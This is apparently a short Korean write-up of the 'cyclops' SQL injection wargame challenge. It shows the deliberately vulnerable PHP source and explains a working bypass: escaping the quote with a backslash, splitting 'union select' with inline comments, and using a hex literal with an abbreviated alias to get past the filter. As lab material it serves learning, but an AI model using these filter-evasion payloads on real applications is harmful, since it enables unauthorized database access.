꽤 어려웠다..
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);
?>
클리어한 쿼리
select id,pw from prob_cyclops where id='\\' and pw='union/**/select/**/0x6669727374 d/**/,"second"/**/-- '
풀이과정을 설명하자면,
이전과 같이 \\
를 통해 싱글쿼터를 우회했다.
union select
는 필터링 대상이나, union/**/select
는 사용 가능했다.
union select 이후에 올 수 있는 것에 대한 필터링이 심하다.
이 부분이 이 문제의 핵심이라고 할 수 있다.
1
0x1
char(0x12)
"first"
.....
거의 모든 시도가 필터링된다.
우회하는 방법은 as x
구문을 이용하는 것이다.
사실 as x
도 필터링 대상이지만, 축약형을 사용하면 필터링 우회가 가능하다.
성공한 쿼리
select id,pw from prob_cyclops where id='\\' and pw='union/**/select/**/0x6669727374 d/**/,"second"/**/--